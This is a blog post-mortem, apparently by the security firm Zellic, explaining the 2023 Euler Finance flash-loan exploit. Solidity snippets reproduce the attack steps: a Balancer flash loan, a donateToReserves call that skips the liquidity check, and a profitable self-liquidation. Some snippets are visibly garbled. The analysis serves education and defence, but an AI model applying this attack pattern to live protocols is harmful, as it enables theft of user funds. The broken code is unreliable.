Skip to main content
Table of contents
Varun Verma

Euler Finance Exploit Analysis

How a single exploit transaction generated 110 million USD
Article heading

On March 14th, 2023, Euler Finance suffered an exploit that resulted in the loss of over 190 million USD. A single transaction in the attack generated 110 million USD. In this blog post, we’ll examine the attacker’s strategy and demonstrate how the exploit was executed.

Overview of the Attack

The attack can be summarized in four main steps:

  1. The attacker takes a flash loan and deposits it into Euler.
  2. Euler mints tokens for the deposit.
  3. The attacker donates these minted tokens, making them eligible for liquidation.
  4. The attacker liquidates themselves for profit.

The core issue lies in the fact that the attacker’s self-liquidation resulted in a profit greater than their debt. Now, let’s examine the entire process in code.

Step 1: Taking a Flash Loan

First, the attacker takes a flash loan of wstETH from Balancer.

function setUp() public {
IERC20[] memory tokens = new IERC20[](1);
uint256[] memory amounts = new uint256[](1);

tokens[0] = wstETH;
amounts[0] = wstETH.balanceOf(address(vault));
vault.flashLoan(this, tokens, amounts, ""); // take flash loan from balancer

Step 2: Depositing Flash Loan and Donating Minted Tokens

The attacker then deposits the flash loan into Euler and mints corresponding tokens. These tokens are subsequently donated via the donateToReserves function, allowing the attacker to liquidate themselves.

function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external override {
require(msg.sender == address(vault), "wrong sender");

uint256 amount = amounts[0];
emit log_named_uint("receiveFlashLoan", amount);

wstETH.approve(address(euler), amount);

eToken.deposit(0, amount);, amount * 15);
eToken.donateToReserves(0, amount * 3);


emit log_named_uint("repaying flash", amount);
wstETH.transfer(msg.sender, amount);

Step 3: Self-Liquidation

The liquidation process allows the attacker to liquidate themselves for a corresponding collateral value greater than their debt position.

function liquidate() public {
Liquidation.LiquidationOpportunity memory liqOpp = liquidation.checkLiquidation(address(this), msg.sender, address(wstETH), address(wstETH));
liquidation.liquidate(msg.sender, address(wstETH), address(wstETH), liqOpp.repay, liqOpp.repay);
eToken.withdraw(0, wstETH.balanceOf(address(euler)));
wstETH.transfer(msg.sender, wstETH.balanceOf(address(this)));

Profit and Exploit Reproduction

The profit from this exploit amounts to 66,000 ETH or 110 million USD. A full proof-of-concept for the community’s education can be found in this GitHub repository.

The fundamental question we sought to answer: If the attacker took on a borrow position — partially donated the backing of this position and then liquidated themselves — how could they come out with more money than they started with?

Euler's Mechanics

To answer that we must understand Euler's mechanics:

Euler issues ETokens (interest earning tokens) to account for deposited money into the protocol and issues DTokens (Debt tokens) to account for borrowed money from the protocol.

This is relevant in the case of a liquidation event. A user who lacks the collateral to maintain their borrowing position — known as a violator — will have their collateral AND debt seized by a liquidator.

// Liquidator takes on violator's debt:
transferBorrow(underlyingAssetStorage, underlyingAssetCache, underlyingAssetStorage.dTokenAddress, liqLocs.violator, liqLocs.liquidator, repay);

And in order for a liquidator to want to seize someone else's debt, there must be some sort of incentive. The greater the debt, the bigger this incentive must be.

uint baseDiscount = UNDERLYING_RESERVES_FEE + (1e18 - liqOpp.healthScore);

uint discountBooster = computeDiscountBooster(liqLocs.liquidator, liabilityValue);

uint discount = baseDiscount * discountBooster / 1e18;

if (discount > (baseDiscount + MAXIMUM_BOOSTER_DISCOUNT)) discount = baseDiscount + MAXIMUM_BOOSTER_DISCOUNT;
if (discount > MAXIMUM_DISCOUNT) discount = MAXIMUM_DISCOUNT;

liqOpp.baseDiscount = baseDiscount; = discount;
liqOpp.conversionRate = liqLocs.underlyingPrice * 1e18 / liqLocs.collateralPrice * 1e18 / (1e18 - discount);

Note that a high ratio of D to E tokens means that the liquidator will be taking on more debt.Ordinarily, the transfer of ETokens requires a liquidity check. However, this check was absent in the donateToReserves function.

if (!isSubAccountOf(msgSender, from) && assetStorage.eTokenAllowance[from][msgSender] != type(uint).max) {
require(assetStorage.eTokenAllowance[from][msgSender] >= amount, "e/insufficient-allowance");
unchecked { assetStorage.eTokenAllowance[from][msgSender] -= amount; }
emitViaProxy_Approval(proxyAddr, from, msgSender, assetStorage.eTokenAllowance[from][msgSender]);

transferBalance(assetStorage, assetCache, proxyAddr, from, to, amount);

The attacker exploited precisely this absence and donated their E tokens to create the aforementioned incentive. In fact, the exact formula used to determine the liquidators profit can be seen in the image below.

yield = repay * liqLocs.liqOpp.conversionRate / 1e18;

By donating their E Tokens, the position becomes unhealthier, and by extension, the liquidation discount is higher. As the conversion rate increases, the liquidator's yield becomes more fruitful.

The outcome: A USD 100M exploit. Economic incentive bugs are hard. They cannot be caught by static analyzers or automated tooling and require a deep understanding of the protocol's customised system.


In summary, the attacker took advantage of a flash loan to deposit a large sum, then liquidated themselves to end up with more money than they initially had.

At Zellic, we do post-mortems on hacks because we want to stay on top of every current attack, and to build professional knowledge of threats. We share this information because the community deserves to know what went wrong and what can be done differently in the future.